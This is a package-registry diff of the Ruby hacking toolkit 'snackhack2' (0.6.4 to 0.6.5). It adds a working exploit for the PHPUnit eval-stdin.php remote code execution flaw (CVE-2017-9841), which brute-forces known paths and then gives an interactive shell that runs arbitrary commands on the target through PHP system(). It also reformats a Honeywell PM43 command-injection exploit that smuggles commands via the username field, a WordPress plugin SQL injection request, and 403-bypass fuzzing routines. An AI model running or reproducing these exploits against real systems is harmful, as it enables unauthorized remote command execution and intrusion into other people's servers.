snackhack2 0.6.4 → 0.6.5

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
checksums.yaml CHANGED
@@ -1,7 +1,7 @@
1
1
  ---
2
2
  SHA256:
3
- metadata.gz: b44fea8c993ba9a8b7e92843709b1eb1a59580cf5dcc20096ad94b4c41adbda4
4
- data.tar.gz: 775b9eb6964f2b830b9e01ce1e0cd3c37349c16a4a1569e803f4b24252972315
3
+ metadata.gz: cda044a6c9ae56812b5742965caa204d3e32d8fe9dee0857806cefd45d058e4e
4
+ data.tar.gz: 6f6b5a0c249afdd9691070f481fcaa756721d599b5bf7f1f68909a54c30211f1
5
5
  SHA512:
6
- metadata.gz: f7c39179c33fb0f81e330c76283d78af4b6717d8f4cd3d8f66d1884fedaa79f7860638e5a7cfdb968447ba1649d4a61d3dc20266fd9036609882596e69a1cb9b
7
- data.tar.gz: f5cd16fcd0e0d29db2f3ca8f9dba20474112c216a4433379e103193f72469ecdca10f0cfd78d9b7db5eeb760701d399935702aaec6728356f7f1373a2525f7af
6
+ metadata.gz: 62c3e1c33052a126536a6c3b2708f2f15acd1a4adbb2d26df1f3ad9ba639c1e55308034872391fc179736e0ad9899c3f633a3273e7217ac5a547ced717f389b9
7
+ data.tar.gz: 43943cb44a33159f5fdd31650e8322355882ceb46ce4049ad6e17d900e6bd74e35d83989a205f0a3379c303233ed3359c5abf774fd9fc164fceb4ca763af5e40
@@ -0,0 +1,77 @@
1
+ # frozen_string_literal: true
2
+ require 'net/http'
3
+ require 'uri'
4
+ module Snackhack2
5
+ class CVE20179841
6
+ attr_accessor :ip
7
+
8
+ def initialize(site, payload: "<?php echo md5('phpunit_rce'); ?>")
9
+ @site = site
10
+ @payload = payload
11
+ @vulnerable = false
12
+ end
13
+
14
+ def run
15
+
16
+ paths = ["yii/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php",
17
+ "vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php",
18
+ "laravel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php",
19
+ "laravel52/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php",
20
+ "lib/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php",
21
+ "zend/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"]
22
+ paths.each do |path|
23
+
24
+ uri = URI.parse(File.join(@site, path))
25
+ request = Net::HTTP::Post.new(uri)
26
+ request.body = "#{@payload}"
27
+
28
+ req_options = {
29
+ use_ssl: uri.scheme == "https",
30
+ }
31
+ response = Net::HTTP.start(uri.hostname, uri.port, req_options) do |http|
32
+ http.request(request)
33
+ end
34
+ # this is the MD5 Hhash of "phpunit_rce"
35
+ if response.body.match("6dd70f16549456495373a337e6708865")
36
+ @vulnerable = true
37
+ puts "THIS SITE IS vulnerable!"
38
+ return path
39
+ else
40
+ puts "The site is not vulnerable.... #{File.join(@site, path)}"
41
+ end
42
+
43
+ end
44
+ end
45
+ def shell
46
+ # if vulnerable it passes the path
47
+ path = self.run
48
+ # makes sure the site is vulnerable if it
49
+ # is it will run a endless while loop
50
+ if @vulnerable
51
+ while true
52
+ # takes input to run on the server
53
+
54
+ print(">")
55
+ input = gets.chomp
56
+ if input.eql?("exit")
57
+ exit
58
+ else
59
+ uri = URI.parse(File.join(@site, path))
60
+ request = Net::HTTP::Post.new(uri)
61
+ # takes the input ad run it on the host
62
+ request.body = "<?php system('#{input}'); ?>"
63
+
64
+ req_options = {
65
+ use_ssl: uri.scheme == "https",
66
+ }
67
+
68
+ response = Net::HTTP.start(uri.hostname, uri.port, req_options) do |http|
69
+ http.request(request)
70
+ end
71
+ puts response.body
72
+ end
73
+ end
74
+ end
75
+ end
76
+ end
77
+ end
@@ -1,27 +1,25 @@
1
- require 'httparty'
2
- module Snackhack2
3
- class HoneywellPM43
4
- # CVE-2023-3710
5
- # Source: https://www.exploit-db.com/exploits/51885
6
- attr_reader :command
7
-
8
- def initialize(site, command: "ls", save_file: true)
9
- @site = site
10
- @command = command
11
- end
12
-
13
- def command=(c)
14
- @command = c
15
- end
16
-
17
- def run
18
- pp = HTTParty.post(File.join(@site, "loadfile.lp?pageid=Configure"),
19
- body: "username=x%0a#{@command}%0a&userpassword=1")
20
- if pp.code == 200
21
- puts pp
22
- else
23
- puts "[+] Status Code: #{pp.code}"
24
- end
25
- end
26
- end
27
- end
1
+ # frozen_string_literal: true
2
+
3
+ require 'httparty'
4
+ module Snackhack2
5
+ class HoneywellPM43
6
+ # CVE-2023-3710
7
+ # Source: https://www.exploit-db.com/exploits/51885
8
+ attr_accessor :command
9
+
10
+ def initialize(site, command: 'ls', save_file: true)
11
+ @site = site
12
+ @command = command
13
+ end
14
+
15
+ def run
16
+ pp = HTTParty.post(File.join(@site, 'loadfile.lp?pageid=Configure'),
17
+ body: "username=x%0a#{@command}%0a&userpassword=1")
18
+ if pp.code == 200
19
+ puts pp
20
+ else
21
+ puts "[+] Status Code: #{pp.code}"
22
+ end
23
+ end
24
+ end
25
+ end
@@ -1,22 +1,22 @@
1
- # frozen_string_literal: true
2
-
3
- module Snackhack2
4
- class WPSymposium
5
- # SOURCE: https://github.com/prok3z/Wordpress-Exploits/tree/main/CVE-2015-6522
6
- # https://www.exploit-db.com/exploits/37824
7
- # Reveal the MySQL version
8
- def initialize(site)
9
- @site = site
10
- end
11
-
12
- def run
13
- wp = Snackhack2::get(File.join(@site,
14
- '/wp-content/plugins/wp-symposium/get_album_item.php?size=version%28%29%20;%20--'))
15
- if wp.code == 200
16
- puts wp.body
17
- else
18
- puts "[+] HTTP Code: #{wp.code}"
19
- end
20
- end
21
- end
22
- end
1
+ # frozen_string_literal: true
2
+
3
+ module Snackhack2
4
+ class WPSymposium
5
+ # SOURCE: https://github.com/prok3z/Wordpress-Exploits/tree/main/CVE-2015-6522
6
+ # https://www.exploit-db.com/exploits/37824
7
+ # Reveal the MySQL version
8
+ def initialize(site)
9
+ @site = site
10
+ end
11
+
12
+ def run
13
+ wp = Snackhack2.get(File.join(@site,
14
+ '/wp-content/plugins/wp-symposium/get_album_item.php?size=version%28%29%20;%20--'))
15
+ if wp.code == 200
16
+ puts wp.body
17
+ else
18
+ puts "[+] HTTP Code: #{wp.code}"
19
+ end
20
+ end
21
+ end
22
+ end
@@ -1,82 +1,82 @@
1
- # frozen_string_literal: true
2
-
3
- require 'socket'
4
- module Snackhack2
5
- class BannerGrabber
6
- attr_accessor :site, :save_file
7
-
8
- def initialize(site, port: 443, save_file: true)
9
- @site = site
10
- @port = port
11
- @headers = Snackhack2::get(@site).headers
12
- @save_file = save_file
13
- end
14
-
15
- def site
16
- #@site.gsub('https://', '')
17
- end
18
-
19
- def run
20
- nginx
21
- apache2
22
- wordpress
23
- headers
24
- end
25
-
26
- def nginx
27
- if @headers['server'].match(/nginx/)
28
- puts "[+] Server is running NGINX... Now checking if #{File.join(@site, "nginx_status")} is valid..."
29
- nginx = Snackhack2::get(File.join(@site, "nginx_status"))
30
- if nginx.code == 200
31
- puts "Check #{@site}/nginx_status"
32
- else
33
- puts "Response code: #{nginx.code}"
34
- end
35
- end
36
- end
37
-
38
- def curl
39
- servers = ''
40
- cmd = `curl -s -I #{@site.gsub('https://', '')}`
41
- version = cmd.split('Server: ')[1].split("\n")[0].strip
42
- if @save_file
43
- servers += version.to_s
44
- else
45
- puts "Banner: #{cmd.split('Server: ')[1].split("\n")[0]}"
46
- end
47
- Snackhack2::file_save(@site, "serverversion", servers) if @save_file
48
- end
49
-
50
- def apache2
51
- if @headers['server'].match(/Apache/)
52
- puts "[+] Server is running Apache2... Now checking #{File.join(@site, "server-status")}..."
53
- apache = Snackhack2::get(File.join(@site, "server-status"))
54
- if apache.code == 200
55
- puts "Check #{@site}/server-status"
56
- else
57
- puts "[+] Response Code: #{apache.code}...\n\n"
58
- end
59
- else
60
- puts "Apache2 is not found...\n\n"
61
- end
62
- end
63
-
64
- def wordpress
65
- wp = Snackhack2::get(@site).body
66
- return unless wp.match(/wp-content/)
67
-
68
- puts "[+] Wordpress found [+]\n\n\n"
69
- end
70
-
71
- def headers
72
- h = Snackhack2::get(@site).headers
73
- puts "[+] Server Version: #{h['server']}..."
74
- end
75
-
76
- def server
77
- @headers['server']
78
- end
79
-
80
- attr_reader :site
81
- end
82
- end
1
+ # frozen_string_literal: true
2
+
3
+ require 'socket'
4
+ module Snackhack2
5
+ class BannerGrabber
6
+ attr_accessor :port, :site, :save_file
7
+
8
+ def initialize(port: 443, save_file: true)
9
+ @site = site
10
+ @port = port
11
+ @headers = Snackhack2.get(@site).headers
12
+ @save_file = save_file
13
+ end
14
+
15
+ def site
16
+ # @site.gsub('https://', '')
17
+ end
18
+
19
+ def run
20
+ nginx
21
+ apache2
22
+ wordpress
23
+ headers
24
+ end
25
+
26
+ def nginx
27
+ return unless @headers['server'].match(/nginx/)
28
+
29
+ puts "[+] Server is running NGINX... Now checking if #{File.join(@site, 'nginx_status')} is valid..."
30
+ nginx = Snackhack2.get(File.join(@site, 'nginx_status'))
31
+ if nginx.code == 200
32
+ puts "Check #{@site}/nginx_status"
33
+ else
34
+ puts "Response code: #{nginx.code}"
35
+ end
36
+ end
37
+
38
+ def curl
39
+ servers = ''
40
+ cmd = `curl -s -I #{@site.gsub('https://', '')}`
41
+ version = cmd.split('Server: ')[1].split("\n")[0].strip
42
+ if @save_file
43
+ servers += version.to_s
44
+ else
45
+ puts "Banner: #{cmd.split('Server: ')[1].split("\n")[0]}"
46
+ end
47
+ Snackhack2.file_save(@site, 'serverversion', servers) if @save_file
48
+ end
49
+
50
+ def apache2
51
+ if @headers['server'].match(/Apache/)
52
+ puts "[+] Server is running Apache2... Now checking #{File.join(@site, 'server-status')}..."
53
+ apache = Snackhack2.get(File.join(@site, 'server-status'))
54
+ if apache.code == 200
55
+ puts "Check #{@site}/server-status"
56
+ else
57
+ puts "[+] Response Code: #{apache.code}...\n\n"
58
+ end
59
+ else
60
+ puts "Apache2 is not found...\n\n"
61
+ end
62
+ end
63
+
64
+ def wordpress
65
+ wp = Snackhack2.get(@site).body
66
+ return unless wp.match(/wp-content/)
67
+
68
+ puts "[+] Wordpress found [+]\n\n\n"
69
+ end
70
+
71
+ def headers
72
+ h = Snackhack2.get(@site).headers
73
+ puts "[+] Server Version: #{h['server']}..."
74
+ end
75
+
76
+ def server
77
+ @headers['server']
78
+ end
79
+
80
+ attr_reader :site
81
+ end
82
+ end
@@ -1,66 +1,68 @@
1
- require 'async'
2
- require 'httparty'
3
- module Snackhack2
4
- class BypassHTTP
5
- attr_accessor :site, :wordlist, :bypass
6
-
7
- def initialize
8
- @site = site
9
- @wordlist = File.join(__dir__, 'lists', 'directory-list-2.3-big.txt')
10
- @bypass = "//"
11
- end
12
-
13
- def forward_for
14
- File.readlines(@wordlist).each do |r|
15
- r = r.strip
16
- Async do
17
- url = File.join(@site, @bypass, r)
18
- r = HTTParty.get(url, :headers => {
19
- "X-Forwarded-For": "127.0.0.1"
20
- })
21
- puts url
22
- puts r.code
23
- puts "\n"
24
- end
25
- end
26
- end
27
-
28
- def web_request(bypass)
29
- File.readlines(@wordlist).each do |r|
30
- r = r.strip
31
- Async do
32
- url = File.join(@site, bypass, r)
33
- r = Snackhack2::get(url)
34
- puts url
35
- puts r.code
36
- puts "\n"
37
- end
38
- end
39
- end
40
-
41
- def basic
42
- web_request("//")
43
- end
44
-
45
- def uppercase
46
- File.readlines(@wordlist).each do |r|
47
- r = r.strip.gsub(/./) { |s| s.send(%i[upcase downcase].sample) }
48
- Async do
49
- url = File.join(@site, r)
50
- puts url
51
- r = Snackhack2::get(url)
52
- puts r.code
53
- puts "\n"
54
- end
55
- end
56
- end
57
-
58
- def url_encode
59
- web_request("%2e")
60
- end
61
-
62
- def dots
63
- web_request("..;/")
64
- end
65
- end
66
- end
1
+ # frozen_string_literal: true
2
+
3
+ require 'async'
4
+ require 'httparty'
5
+ module Snackhack2
6
+ class BypassHTTP
7
+ attr_accessor :site, :wordlist, :bypass
8
+
9
+ def initialize
10
+ @site = site
11
+ @wordlist = File.join(__dir__, 'lists', 'directory-list-2.3-big.txt')
12
+ @bypass = '//'
13
+ end
14
+
15
+ def forward_for
16
+ File.readlines(@wordlist).each do |r|
17
+ r = r.strip
18
+ Async do
19
+ url = File.join(@site, @bypass, r)
20
+ r = HTTParty.get(url, headers: {
21
+ "X-Forwarded-For": '127.0.0.1'
22
+ })
23
+ puts url
24
+ puts r.code
25
+ puts "\n"
26
+ end
27
+ end
28
+ end
29
+
30
+ def web_request(bypass)
31
+ File.readlines(@wordlist).each do |r|
32
+ r = r.strip
33
+ Async do
34
+ url = File.join(@site, bypass, r)
35
+ r = Snackhack2.get(url)
36
+ puts url
37
+ puts r.code
38
+ puts "\n"
39
+ end
40
+ end
41
+ end
42
+
43
+ def basic
44
+ web_request('//')
45
+ end
46
+
47
+ def uppercase
48
+ File.readlines(@wordlist).each do |r|
49
+ r = r.strip.gsub(/./) { |s| s.send(%i[upcase downcase].sample) }
50
+ Async do
51
+ url = File.join(@site, r)
52
+ puts url
53
+ r = Snackhack2.get(url)
54
+ puts r.code
55
+ puts "\n"
56
+ end
57
+ end
58
+ end
59
+
60
+ def url_encode
61
+ web_request('%2e')
62
+ end
63
+
64
+ def dots
65
+ web_request('..;/')
66
+ end
67
+ end
68
+ end
@@ -1,27 +1,29 @@
1
- module Snackhack2
2
- class Comments
3
- attr_accessor :site
4
-
5
- def initialize
6
- @site = site
7
- end
8
-
9
- def run
10
- c = Snackhack2::get(@site)
11
-
12
- if c.code == 200
13
- body = c.body.split("\n")
14
- body.each_with_index do |l, i|
15
- line = l.strip
16
- if line.start_with?("<!--")
17
- puts body[i].next
18
- elsif line.include?("<!")
19
- puts body[i].next
20
- end
21
- end
22
- else
23
- puts "Status Code: #{c.code}\n"
24
- end
25
- end
26
- end
27
- end
1
+ # frozen_string_literal: true
2
+
3
+ module Snackhack2
4
+ class Comments
5
+ attr_accessor :site
6
+
7
+ def initialize
8
+ @site = site
9
+ end
10
+
11
+ def run
12
+ c = Snackhack2.get(@site)
13
+
14
+ if c.code == 200
15
+ body = c.body.split("\n")
16
+ body.each_with_index do |l, i|
17
+ line = l.strip
18
+ if line.start_with?('<!--')
19
+ puts body[i].next
20
+ elsif line.include?('<!')
21
+ puts body[i].next
22
+ end
23
+ end
24
+ else
25
+ puts "Status Code: #{c.code}\n"
26
+ end
27
+ end
28
+ end
29
+ end